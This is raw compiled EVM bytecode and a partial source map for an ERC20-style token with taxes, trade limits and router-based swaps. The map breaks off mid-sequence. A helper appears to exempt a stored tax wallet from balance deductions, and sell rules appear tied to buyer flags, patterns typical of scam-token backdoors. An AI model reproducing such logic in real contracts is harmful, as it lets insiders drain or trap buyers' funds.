b505050506040513d601f19601f820116820180604052508101906106b09190611717565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af11580156106fa573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061071e9190611717565b601480546001600160a01b039283166001600160a01b031990911617905560135461010090041663f305d719473061076a816001600160a01b03165f908152600e602052604090205490565b5f8061077d5f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156107e3573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906108089190611732565b505060145460135460405163095ea7b360e01b81526001600160a01b03610100909204821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af1158015610862573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610886919061175d565b506014805462ff00ff60a01b19166201000160a01b179055565b5f546001600160a01b031633146108c95760405162461bcd60e51b8152600401610489906116f6565b6108d56009600a6116d1565b6108e4906409cb81ff406116df565b6001556108f36009600a6116d1565b610902906409cb81ff406116df565b6002556013805460ff191690557fcff3a4198bbf822fb0eb4bd2fac0853a916b8aace3875032dc39ecf39b5eae2361093c6009600a6116d1565b61094b906409cb81ff406116df565b60405190815260200160405180910390a1565b6001600160a01b0383166109c05760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610489565b6001600160a01b038216610a215760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610489565b6001600160a01b038381165f818152600f602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610aea5760405162461bcd60e51b815260206004820152602a60248201527f45524332303a20207472616e73666572202066726f6d202074686520207a65726044820152696f20206164647265737360b01b6064820152608401610489565b6001600160a01b038216610b4c5760405162461bcd60e51b8152602060048201526024808201527f45524332303a207472616e7366657220746f20746865207a65726f20206164646044820152637265737360e01b6064820152608401610489565b5f8111610bb35760405162461bcd60e51b815260206004820152602f60248201527f5472616e736665722020616d6f756e7420206d7573742020626520206772656160448201526e74657220207468616e20207a65726f60881b6064820152608401610489565b5f80546001600160a01b03858116911614801590610bde57505f546001600160a01b03848116911614155b15610fb45760135460ff1615610ca6576013546001600160a01b038481166101009092041614801590610c1f57506014546001600160a01b03848116911614155b15610ca657325f908152601260205260409020544311610c945760405162461bcd60e51b815260206004820152602a60248201527f204f6e6c7920206f6e6520207472616e7366657220207065722020626c6f636b604482015269101030b63637bbb2b21760b11b6064820152608401610489565b325f9081526012602052604090204390555b6014546001600160a01b038581169116148015610cd657506013546001600160a01b038481166101009092041614155b8015610cfa57506001600160a01b0383165f9081526010602052604090205460ff16155b15610df157600154821115610d215760405162461bcd60e51b81526004016104899061177c565b60025482610d43856001600160a01b03165f908152600e602052604090205490565b610d4d919061179d565b1115610d6b5760405162461bcd60e51b81526004016104899061177c565b600b54600c541015610d8957610d808361112b565b15610d89575f80fd5b600c8054905f610d98836117b0565b90915550506001600160a01b0383165f908152601160205260409020805460ff19166001179055600954600c54610dee91606491610de89110610ddd57600554610de1565b6007545b8590611184565b906111e3565b90505b6014546001600160a01b038481169116148015610e1757506001600160a01b0384163014155b8015610e3b57506001600160a01b0384165f9081526010602052604090205460ff16155b15610ee1576001548211158015610e6c5750600454600d546001600160a01b03165f908152600e6020526040902054105b610e885760405162461bcd60e51b81526004016104899061177c565b610ead6064610de8600a54600c5411610ea357600654610de1565b6008548590611184565b9050600b54600c54118015610ed957506001600160a01b0384165f9081526011602052604090205460ff165b610ee1575f80fd5b305f908152600e6020526040902054601454600160a81b900460ff16158015610f1757506014546001600160a01b038581169116145b8015610f2c5750601454600160b01b900460ff165b8015610f39575060035481115b8015610f485750600b54600c54115b8015610f6c57506001600160a01b0384165f9081526010602052604090205460ff16155b8015610f9057506001600160a01b0385165f9081526010602052604090205460ff16155b15610fb257610fb2610fad84610fa88460045461120f565b61120f565b611224565b505b801561102c57305f908152600e6020526040902054610fd390826113d0565b305f818152600e6020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906110239085815260200190565b60405180910390a35b6001600160a01b0384165f908152600e602052604090205461105090859084611419565b6001600160a01b0385165f908152600e60205260409020556110936110758383611469565b6001600160a01b0385165f908152600e6020526040902054906113d0565b6001600160a01b038085165f818152600e602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6110dc8585611469565b60405190815260200160405180910390a350505050565b5f81848411156111165760405162461bcd60e51b815260040161048991906114c1565b505f61112284866117c8565b95945050505050565b6040805160018082528183019092525f91829182916020808301908036833701905050905083815f81518110611163576111636117db565b6001600160a01b03909216602092830291909101909101525050503b151590565b5f825f0361119357505f6103d1565b5f61119e83856116df565b9050826111ab85836117ef565b146104595760405162461bcd60e51b81526020600482015260086024820152670a6c2ccca9ac2e8d60c31b6044820152606401610489565b5f6104598383604051806040016040528060088152602001670a6c2ccca9ac2e8d60c31b815250611495565b5f8183101561121e5782610459565b50919050565b6014805460ff60a81b1916600160a81b17905580156113c057601454600160a01b900460ff16156113c0576040805160028082526060820183525f9260208301908036833701905050905030815f81518110611282576112826117db565b60200260200101906001600160a01b031690816001600160a01b031681525050601360019054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156112f3573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906113179190611717565b8160018151811061132a5761132a6117db565b6001600160a01b0392831660209182029290920101526013546113559130916101009004168461095e565b60135460405163791ac94760e01b81526101009091046001600160a01b03169063791ac947906113919085905f9086903090429060040161180e565b5f604051808303815f87803b1580156113a8575f80fd5b505af11580156113ba573d5f803e3d5ffd5b50505050505b506014805460ff60a81b19169055565b5f806113dc838561179d565b9050838110156104595760405162461bcd60e51b81526020600482015260086024820152670a6c2ccca9ac2e8d60c31b6044820152606401610489565b600d545f906001600160a01b0390811690851603611438575081610459565b818310156114585760405162461bcd60e51b81526004016104899061177c565b61146282846117c8565b9050610459565b5f6104598383604051806040016040528060088152602001670a6c2ccca9ac2e8d60c31b8152506110f3565b5f81836114b55760405162461bcd60e51b815260040161048991906114c1565b505f61112284866117ef565b5f6020808352835180828501525f5b818110156114ec578581018301518582016040015282016114d0565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114611520575f80fd5b50565b5f8060408385031215611534575f80fd5b823561153f8161150c565b946020939093013593505050565b5f805f6060848603121561155f575f80fd5b833561156a8161150c565b9250602084013561157a8161150c565b929592945050506040919091013590565b5f6020828403121561159b575f80fd5b81356104598161150c565b5f80604083850312156115b7575f80fd5b82356115c28161150c565b915060208301356115d28161150c565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561162b57815f1904821115611611576116116115dd565b8085161561161e57918102915b93841c93908002906115f6565b509250929050565b5f82611641575060016103d1565b8161164d57505f6103d1565b8160018114611663576002811461166d57611689565b60019150506103d1565b60ff84111561167e5761167e6115dd565b50506001821b6103d1565b5060208310610133831016604e8410600b84101617156116ac575081810a6103d1565b6116b683836115f1565b805f19048211156116c9576116c96115dd565b029392505050565b5f61045960ff841683611633565b80820281158282048414176103d1576103d16115dd565b6020808252600790820152664f776e61626c6560c81b604082015260600190565b5f60208284031215611727575f80fd5b81516104598161150c565b5f805f60608486031215611744575f80fd5b8351925060208401519150604084015190509250925092565b5f6020828403121561176d575f80fd5b81518015158114610459575f80fd5b6020808252600790820152664661726269647360c81b604082015260600190565b808201808211156103d1576103d16115dd565b5f600182016117c1576117c16115dd565b5060010190565b818103818111156103d1576103d16115dd565b634e487b7160e01b5f52603260045260245ffd5b5f8261180957634e487b7160e01b5f52601260045260245ffd5b500490565b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b8181101561185c5784516001600160a01b031683529383019391830191600101611837565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220164a0f87e44f3045819fb4a170d51c2e6a886f2d28ccb866d99474c4bd7226b064736f6c63430008140033

Deployed Bytecode Sourcemap

3482:8320:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5419:83;;;;;;;;;;-1:-1:-1;5489:5:0;;;;;;;;;;;;;;;;;5419:83;;;;;;;:::i;:::-;;;;;;;;3948:48;;;;;;;;;;;;;;;;;;;713:25:1;;;701:2;686:18;3948:48:0;567:177:1;6259:161:0;;;;;;;;;;-1:-1:-1;6259:161:0;;;;;:::i;:::-;;:::i;:::-;;;1370:14:1;;1363:22;1345:41;;1333:2;1318:18;6259:161:0;1205:187:1;4363:72:0;;;;;;;;;;-1:-1:-1;4363:72:0;;;;-1:-1:-1;;;;;4363:72:0;;;;;;-1:-1:-1;;;;;1561:32:1;;;1543:51;;1531:2;1516:18;4363:72:0;1397:203:1;5696:100:0;;;;;;;;;;;;;:::i;6428:316::-;;;;;;;;;;-1:-1:-1;6428:316:0;;;;;:::i;:::-;;:::i;5605:83::-;;;;;;;;;;-1:-1:-1;5605:83:0;;3759:1;2208:36:1;;2196:2;2181:18;5605:83:0;2066:184:1;3845:43:0;;;;;;;;;;;;;;;;4738:37;;;;;;;;;;-1:-1:-1;4738:37:0;;;;;;;;5804:119;;;;;;;;;;-1:-1:-1;5804:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;5897:18:0;5870:7;5897:18;;;:9;:18;;;;;;;5804:119;2653:148;;;;;;;;;;;;;:::i;:::-;;2464:79;;;;;;;;;;-1:-1:-1;2502:7:0;2529:6;-1:-1:-1;;;;;2529:6:0;2464:79;;5510:87;;;;;;;;;;-1:-1:-1;5582:7:0;;;;;;;;;;;;-1:-1:-1;;;5582:7:0;;;;5510:87;;4003:43;;;;;;;;;;;;;;;;5931:167;;;;;;;;;;-1:-1:-1;5931:167:0;;;;;:::i;:::-;;:::i;11076:677::-;;;;;;;;;;;;;:::i;3895:46::-;;;;;;;;;;;;;;;;10570:218;;;;;;;;;;;;;:::i;6106:145::-;;;;;;;;;;-1:-1:-1;6106:145:0;;;;;:::i;:::-;-1:-1:-1;;;;;6215:19:0;;;6188:7;6215:19;;;:11;:19;;;;;;;;:28;;;;;;;;;;;;;6106:145;6259:161;6334:4;6351:39;2111:10;6374:7;6383:6;6351:8;:39::i;:::-;-1:-1:-1;6408:4:0;6259:161;;;;;:::o;5696:100::-;5749:7;3824:13;3759:1;3824:2;:13;:::i;:::-;3809:29;;:11;:29;:::i;:::-;5769:19;;5696:100;:::o;6428:316::-;6526:4;6543:36;6553:6;6561:9;6572:6;6543:9;:36::i;:::-;6590:124;6599:6;2111:10;6621:92;6662:6;6621:92;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;6621:19:0;;;;;;:11;:19;;;;;;;;2111:10;6621:33;;;;;;;;;;:40;:92::i;:::-;6590:8;:124::i;:::-;-1:-1:-1;6732:4:0;6428:316;;;;;;:::o;2653:148::-;2591:6;;-1:-1:-1;;;;;2591:6:0;2111:10;2591:22;2583:42;;;;-1:-1:-1;;;2583:42:0;;;;;;;:::i;:::-;;;;;;;;;2760:1:::1;2744:6:::0;;2723:40:::1;::::0;-1:-1:-1;;;;;2744:6:0;;::::1;::::0;2723:40:::1;::::0;2760:1;;2723:40:::1;2791:1;2774:19:::0;;-1:-1:-1;;;;;;2774:19:0::1;::::0;;2653:148::o;5931:167::-;6009:4;6026:42;2111:10;6050:9;6061:6;6026:9;:42::i;11076:677::-;2591:6;;-1:-1:-1;;;;;2591:6:0;2111:10;2591:22;2583:42;;;;-1:-1:-1;;;2583:42:0;;;;;;;:::i;:::-;11141:10:::1;::::0;-1:-1:-1;;;11141:10:0;::::1;;;11140:11;11131:42;;;::::0;-1:-1:-1;;;11131:42:0;;5125:2:1;11131:42:0::1;::::0;::::1;5107:21:1::0;5164:2;5144:18;;;5137:30;-1:-1:-1;;;5183:18:1;;;5176:47;5240:18;;11131:42:0::1;4923:341:1::0;11131:42:0::1;11185:14;:80:::0;;-1:-1:-1;;;;;;11185:80:0::1;::::0;::::1;::::0;;;;11276:63:::1;::::0;11295:4:::1;::::0;-1:-1:-1;;;;;11185:80:0::1;11309:14:::0;;::::1;;3824:13;3759:1;3824:2;:13;:::i;:::-;3809:29;::::0;:11:::1;:29;:::i;11276:63::-;11384:14;;;;;;;;;-1:-1:-1::0;;;;;11384:14:0::1;-1:-1:-1::0;;;;;11384:22:0::1;;:24;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11364:56:0::1;;11430:4;11437:14;;;;;;;;;-1:-1:-1::0;;;;;11437:14:0::1;-1:-1:-1::0;;;;;11437:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11364:96;::::0;-1:-1:-1;;;;;;11364:96:0::1;::::0;;;;;;-1:-1:-1;;;;;5755:15:1;;;11364:96:0::1;::::0;::::1;5737:34:1::0;5807:15;;5787:18;;;5780:43;5672:18;;11364:96:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11350:11;:110:::0;;-1:-1:-1;;;;;11350:110:0;;::::1;-1:-1:-1::0;;;;;;11350:110:0;;::::1;;::::0;;11471:14:::1;::::0;11350:110:::1;11471:14:::0;::::1;;:30;11509:21;11542:4;11548:25;11542:4:::0;-1:-1:-1;;;;;5897:18:0;5870:7;5897:18;;;:9;:18;;;;;;;5804:119;11548:25:::1;11574:1;11576::::0;11578:7:::1;2502::::0;2529:6;-1:-1:-1;;;;;2529:6:0;;2464:79;11578:7:::1;11471:131;::::0;::::1;::::0;;;-1:-1:-1;;;;;;11471:131:0;;;-1:-1:-1;;;;;6193:15:1;;;11471:131:0::1;::::0;::::1;6175:34:1::0;6225:18;;;6218:34;;;;6268:18;;;6261:34;;;;6311:18;;;6304:34;6375:15;;;6354:19;;;6347:44;11586:15:0::1;6407:19:1::0;;;6400:35;6109:19;;11471:131:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;11621:11:0::1;::::0;11651:14:::1;::::0;11613:71:::1;::::0;-1:-1:-1;;;11613:71:0;;-1:-1:-1;;;;;11621:11:0::1;11651:14:::0;;::::1;::::0;::::1;11613:71;::::0;::::1;6931:51:1::0;-1:-1:-1;;6998:18:1;;;6991:34;11621:11:0;::::1;::::0;-1:-1:-1;11613:28:0::1;::::0;6904:18:1;;11613:71:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;11695:13:0::1;:20:::0;;-1:-1:-1;;;;11727:17:0;-1:-1:-1;;;11727:17:0;;;11076:677::o;10570:218::-;2591:6;;-1:-1:-1;;;;;2591:6:0;2111:10;2591:22;2583:42;;;;-1:-1:-1;;;2583:42:0;;;;;;;:::i;:::-;3824:13:::1;3759:1;3824:2;:13;:::i;:::-;3809:29;::::0;:11:::1;:29;:::i;:::-;10624:13;:30:::0;3824:13:::1;3759:1;3824:2;:13;:::i;:::-;3809:29;::::0;:11:::1;:29;:::i;:::-;10666:16;:31:::0;10709:16:::1;:24:::0;;-1:-1:-1;;10709:24:0::1;::::0;;10751:28:::1;3824:13;3759:1;3824:2;:13;:::i;:::-;3809:29;::::0;:11:::1;:29;:::i;:::-;10751:28;::::0;713:25:1;;;701:2;686:18;10751:28:0::1;;;;;;;10570:218::o:0;6752:337::-;-1:-1:-1;;;;;6846:19:0;;6838:68;;;;-1:-1:-1;;;6838:68:0;;7520:2:1;6838:68:0;;;7502:21:1;7559:2;7539:18;;;7532:30;7598:34;7578:18;;;7571:62;-1:-1:-1;;;7649:18:1;;;7642:34;7693:19;;6838:68:0;7318:400:1;6838:68:0;-1:-1:-1;;;;;6925:20:0;;6917:67;;;;-1:-1:-1;;;6917:67:0;;7925:2:1;6917:67:0;;;7907:21:1;7964:2;7944:18;;;7937:30;8003:34;7983:18;;;7976:62;-1:-1:-1;;;8054:18:1;;;8047:32;8096:19;;6917:67:0;7723:398:1;6917:67:0;-1:-1:-1;;;;;6995:19:0;;;;;;;:11;:19;;;;;;;;:28;;;;;;;;;;;;;:37;;;7048:33;;713:25:1;;;7048:33:0;;686:18:1;7048:33:0;;;;;;;6752:337;;;:::o;7097:2600::-;-1:-1:-1;;;;;7186:17:0;;7177:73;;;;-1:-1:-1;;;7177:73:0;;8328:2:1;7177:73:0;;;8310:21:1;8367:2;8347:18;;;8340:30;8406:34;8386:18;;;8379:62;-1:-1:-1;;;8457:18:1;;;8450:40;8507:19;;7177:73:0;8126:406:1;7177:73:0;-1:-1:-1;;;;;7270:15:0;;7261:65;;;;-1:-1:-1;;;7261:65:0;;8739:2:1;7261:65:0;;;8721:21:1;8778:2;8758:18;;;8751:30;8817:34;8797:18;;;8790:62;-1:-1:-1;;;8868:18:1;;;8861:34;8912:19;;7261:65:0;8537:400:1;7261:65:0;7355:1;7346:6;:10;7337:71;;;;-1:-1:-1;;;7337:71:0;;9144:2:1;7337:71:0;;;9126:21:1;9183:2;9163:18;;;9156:30;9222:34;9202:18;;;9195:62;-1:-1:-1;;;9273:18:1;;;9266:45;9328:19;;7337:71:0;8942:411:1;7337:71:0;7419:18;2529:6;;-1:-1:-1;;;;;7458:15:0;;;2529:6;;7458:15;;;;:30;;-1:-1:-1;2502:7:0;2529:6;-1:-1:-1;;;;;7476:12:0;;;2529:6;;7476:12;;7458:30;7452:1853;;;7512:16;;;;7507:318;;;7567:14;;-1:-1:-1;;;;;7554:28:0;;;7567:14;;;;;7554:28;;;;:56;;-1:-1:-1;7598:11:0;;-1:-1:-1;;;;;7585:25:0;;;7598:11;;7585:25;;7554:56;7549:261;;;7657:9;7642:25;;;;:14;:25;;;;;;7670:12;-1:-1:-1;7633:96:0;;;;-1:-1:-1;;;7633:96:0;;9560:2:1;7633:96:0;;;9542:21:1;9599:2;9579:18;;;9572:30;9638:34;9618:18;;;9611:62;-1:-1:-1;;;9689:18:1;;;9682:40;9739:19;;7633:96:0;9358:406:1;7633:96:0;7765:9;7750:25;;;;:14;:25;;;;;7778:12;7750:40;;7549:261;7855:11;;-1:-1:-1;;;;;7847:19:0;;;7855:11;;7847:19;:52;;;;-1:-1:-1;7884:14:0;;-1:-1:-1;;;;;7870:29:0;;;7884:14;;;;;7870:29;;7847:52;:71;;;;-1:-1:-1;;;;;;7903:15:0;;;;;;:11;:15;;;;;;;;7902:16;7847:71;7841:518;;;7958:13;;7948:6;:23;;7939:44;;;;-1:-1:-1;;;7939:44:0;;;;;;;:::i;:::-;8038:16;;8028:6;8011:14;8022:2;-1:-1:-1;;;;;5897:18:0;5870:7;5897:18;;;:9;:18;;;;;;;5804:119;8011:14;:23;;;;:::i;:::-;:43;;8002:63;;;;-1:-1:-1;;;8002:63:0;;;;;;;:::i;:::-;8101:12;;8089:9;;:24;8084:96;;;8146:13;8156:2;8146:9;:13::i;:::-;8145:14;8136:24;;;;;;8198:9;:12;;;:9;:12;;;:::i;:::-;;;;-1:-1:-1;;;;;;;8213:14:0;;;;;;:10;:14;;;;;:21;;-1:-1:-1;;8213:21:0;8230:4;8213:21;;;8289:15;;8277:9;;8265:78;;8339:3;;8265:69;;-1:-1:-1;8276:57:0;;8319:14;;8276:57;;;8306:12;;8276:57;8265:6;;:10;:69::i;:::-;:73;;:78::i;:::-;8253:90;;7841:518;8384:11;;-1:-1:-1;;;;;8378:17:0;;;8384:11;;8378:17;:40;;;;-1:-1:-1;;;;;;8397:21:0;;8413:4;8397:21;;8378:40;:62;;;;-1:-1:-1;;;;;;8423:17:0;;;;;;:11;:17;;;;;;;;8421:19;8378:62;8375:373;;;8480:13;;8470:6;:23;;:64;;;;-1:-1:-1;8521:13:0;;8507:11;;-1:-1:-1;;;;;8507:11:0;5870:7;5897:18;;;:9;:18;;;;;;8497:37;8470:64;8461:85;;;;-1:-1:-1;;;8461:85:0;;;;;;;:::i;:::-;8577:83;8656:3;8577:74;8601:17;;8589:9;;:29;8588:62;;8635:15;;8588:62;;;8621:13;;8577:6;;:10;:74::i;:83::-;8565:95;;8699:12;;8688:9;;:23;:43;;;;-1:-1:-1;;;;;;8715:16:0;;;;;;:10;:16;;;;;;;;8688:43;8679:53;;;;;;8813:4;8764:28;5897:18;;;:9;:18;;;;;;8839:12;;-1:-1:-1;;;8839:12:0;;;;8838:13;:49;;;;-1:-1:-1;8876:11:0;;-1:-1:-1;;;;;8870:17:0;;;8876:11;;8870:17;8838:49;:64;;;;-1:-1:-1;8889:13:0;;-1:-1:-1;;;8889:13:0;;;;8838:64;:108;;;;;8928:18;;8905:20;:41;8838:108;:151;;;;;8977:12;;8965:9;;:24;8838:151;:172;;;;-1:-1:-1;;;;;;8994:16:0;;;;;;:11;:16;;;;;;;;8992:18;8838:172;:195;;;;-1:-1:-1;;;;;;9015:18:0;;;;;;:11;:18;;;;;;;;9013:20;8838:195;8834:460;;;9069:71;9083:56;9089:6;9096:42;9102:20;9124:13;;9096:5;:42::i;:::-;9083:5;:56::i;:::-;9069:13;:71::i;:::-;7490:1815;7452:1853;9322:13;;9317:174;;9397:4;9378:25;;;;:9;:25;;;;;;:40;;9408:9;9378:29;:40::i;:::-;9369:4;9351:24;;;;:9;:24;;;;;;;:67;;;;9437:42;;-1:-1:-1;;;;;9437:42:0;;;;;;;9469:9;713:25:1;;701:2;686:18;;567:177;9437:42:0;;;;;;;;9317:174;-1:-1:-1;;;;;9532:16:0;;;;;;:9;:16;;;;;;9519:38;;9525:4;;9550:6;9519:5;:38::i;:::-;-1:-1:-1;;;;;9501:15:0;;;;;;:9;:15;;;;;:56;9584:43;9602:24;:6;9616:9;9602:12;:24::i;:::-;-1:-1:-1;;;;;9584:13:0;;;;;;:9;:13;;;;;;;:17;:43::i;:::-;-1:-1:-1;;;;;9568:13:0;;;;;;;:9;:13;;;;;:59;;;;9644:45;;;9664:24;:6;9678:9;9664:13;:24::i;:::-;9644:45;;713:25:1;;;701:2;686:18;9644:45:0;;;;;;;7166:2531;7097:2600;;;:::o;1240:193::-;1329:7;1365:12;1357:6;;;;1349:29;;;;-1:-1:-1;;;1349:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1389:9:0;1401:5;1405:1;1401;:5;:::i;:::-;1389:17;1240:193;-1:-1:-1;;;;;1240:193:0:o;10795:271::-;10918:16;;;10932:1;10918:16;;;;;;;;;10853:4;;;;;;10918:16;;;;;;;;;;;-1:-1:-1;10918:16:0;10889:45;;10956:7;10941:9;10951:1;10941:12;;;;;;;;:::i;:::-;-1:-1:-1;;;;;10941:22:0;;;:12;;;;;;;;;;;:22;-1:-1:-1;;;11004:20:0;11046:12;;;10795:271::o;1441:221::-;1499:7;1523:1;1528;1523:6;1519:47;;-1:-1:-1;1553:1:0;1546:8;;1519:47;1576:9;1588:5;1592:1;1588;:5;:::i;:::-;1576:17;-1:-1:-1;1621:1:0;1612:5;1616:1;1576:17;1612:5;:::i;:::-;:10;1604:31;;;;-1:-1:-1;;;1604:31:0;;11195:2:1;1604:31:0;;;11177:21:1;11234:1;11214:18;;;11207:29;-1:-1:-1;;;11252:18:1;;;11245:38;11300:18;;1604:31:0;10993:331:1;1670:114:0;1728:7;1755:21;1759:1;1762;1755:21;;;;;;;;;;;;;-1:-1:-1;;;1755:21:0;;;:3;:21::i;10226:106::-;10285:7;10314:1;10309;:6;;10308:16;;10323:1;10308:16;;;-1:-1:-1;10319:1:0;10226:106;-1:-1:-1;10226:106:0:o;9705:513::-;5068:12;:19;;-1:-1:-1;;;;5068:19:0;-1:-1:-1;;;5068:19:0;;;9789:34;;9815:7:::1;9789:34;9837:10;::::0;-1:-1:-1;;;9837:10:0;::::1;;;9833:24:::0;9849:7:::1;9833:24;9892:19;::::0;;9909:1:::1;9892:19:::0;;;;;::::1;::::0;;9867:21:::1;::::0;9892:19:::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;9892:19:0::1;9867:44;;9941:4;9922;9927:1;9922:7;;;;;;;;:::i;:::-;;;;;;:24;-1:-1:-1::0;;;;;9922:24:0::1;;;-1:-1:-1::0;;;;;9922:24:0::1;;;::::0;::::1;9967:14;;;;;;;;;-1:-1:-1::0;;;;;9967:14:0::1;-1:-1:-1::0;;;;;9967:19:0::1;;:21;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;9957:4;9962:1;9957:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;9957:31:0;;::::1;:7;::::0;;::::1;::::0;;;;;:31;10033:14:::1;::::0;9999:70:::1;::::0;10017:4:::1;::::0;10033:14:::1;::::0;::::1;;10050:18:::0;9999:8:::1;:70::i;:::-;10080:14;::::0;:130:::1;::::0;-1:-1:-1;;;10080:130:0;;:14:::1;::::0;;::::1;-1:-1:-1::0;;;;;10080:14:0::1;::::0;:65:::1;::::0;:130:::1;::::0;10147:18;;10167:1:::1;::::0;10170:4;;10184::::1;::::0;10191:17:::1;::::0;10080:130:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;9778:440;5098:1;-1:-1:-1::0;5110:12:0;:20;;-1:-1:-1;;;;5110:20:0;;;9705:513::o;944:160::-;1002:7;;1034:5;1038:1;1034;:5;:::i;:::-;1022:17;;1063:1;1058;:6;;1050:27;;;;-1:-1:-1;;;1050:27:0;;11195:2:1;1050:27:0;;;11177:21:1;11234:1;11214:18;;;11207:29;-1:-1:-1;;;11252:18:1;;;11245:38;11300:18;;1050:27:0;10993:331:1;10340:222:0;10441:11;;10413:7;;-1:-1:-1;;;;;10441:11:0;;;10433:19;;;;10429:126;;-1:-1:-1;10472:1:0;10465:8;;10429:126;10511:1;10506;:6;;10498:26;;;;-1:-1:-1;;;10498:26:0;;;;;;;:::i;:::-;10542:5;10546:1;10542;:5;:::i;:::-;10535:12;;;;1112:120;1173:7;1201:23;1207:1;1210;1201:23;;;;;;;;;;;;;-1:-1:-1;;;1201:23:0;;;:5;:23::i;1792:189::-;1878:7;1913:12;1906:5;1898:28;;;;-1:-1:-1;;;1898:28:0;;;;;;;;:::i;:::-;-1:-1:-1;1937:9:0;1949:5;1953:1;1949;:5;:::i;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;749:131::-;-1:-1:-1;;;;;824:31:1;;814:42;;804:70;;870:1;867;860:12;804:70;749:131;:::o;885:315::-;953:6;961;1014:2;1002:9;993:7;989:23;985:32;982:52;;;1030:1;1027;1020:12;982:52;1069:9;1056:23;1088:31;1113:5;1088:31;:::i;:::-;1138:5;1190:2;1175:18;;;;1162:32;;-1:-1:-1;;;885:315:1:o;1605:456::-;1682:6;1690;1698;1751:2;1739:9;1730:7;1726:23;1722:32;1719:52;;;1767:1;1764;1757:12;1719:52;1806:9;1793:23;1825:31;1850:5;1825:31;:::i;:::-;1875:5;-1:-1:-1;1932:2:1;1917:18;;1904:32;1945:33;1904:32;1945:33;:::i;:::-;1605:456;;1997:7;;-1:-1:-1;;;2051:2:1;2036:18;;;;2023:32;;1605:456::o;2255:247::-;2314:6;2367:2;2355:9;2346:7;2342:23;2338:32;2335:52;;;2383:1;2380;2373:12;2335:52;2422:9;2409:23;2441:31;2466:5;2441:31;:::i;2507:388::-;2575:6;2583;2636:2;2624:9;2615:7;2611:23;2607:32;2604:52;;;2652:1;2649;2642:12;2604:52;2691:9;2678:23;2710:31;2735:5;2710:31;:::i;:::-;2760:5;-1:-1:-1;2817:2:1;2802:18;;2789:32;2830:33;2789:32;2830:33;:::i;:::-;2882:7;2872:17;;;2507:388;;;;;:::o;2900:127::-;2961:10;2956:3;2952:20;2949:1;2942:31;2992:4;2989:1;2982:15;3016:4;3013:1;3006:15;3032:422;3121:1;3164:5;3121:1;3178:270;3199:7;3189:8;3186:21;3178:270;;;3258:4;3254:1;3250:6;3246:17;3240:4;3237:27;3234:53;;;3267:18;;:::i;:::-;3317:7;3307:8;3303:22;3300:55;;;3337:16;;;;3300:55;3416:22;;;;3376:15;;;;3178:270;;;3182:3;3032:422;;;;;:::o;3459:806::-;3508:5;3538:8;3528:80;;-1:-1:-1;3579:1:1;3593:5;;3528:80;3627:4;3617:76;;-1:-1:-1;3664:1:1;3678:5;;3617:76;3709:4;3727:1;3722:59;;;;3795:1;3790:130;;;;3702:218;;3722:59;3752:1;3743:10;;3766:5;;;3790:130;3827:3;3817:8;3814:17;3811:43;;;3834:18;;:::i;:::-;-1:-1:-1;;3890:1:1;3876:16;;3905:5;;3702:218;;4004:2;3994:8;3991:16;3985:3;3979:4;3976:13;3972:36;3966:2;3956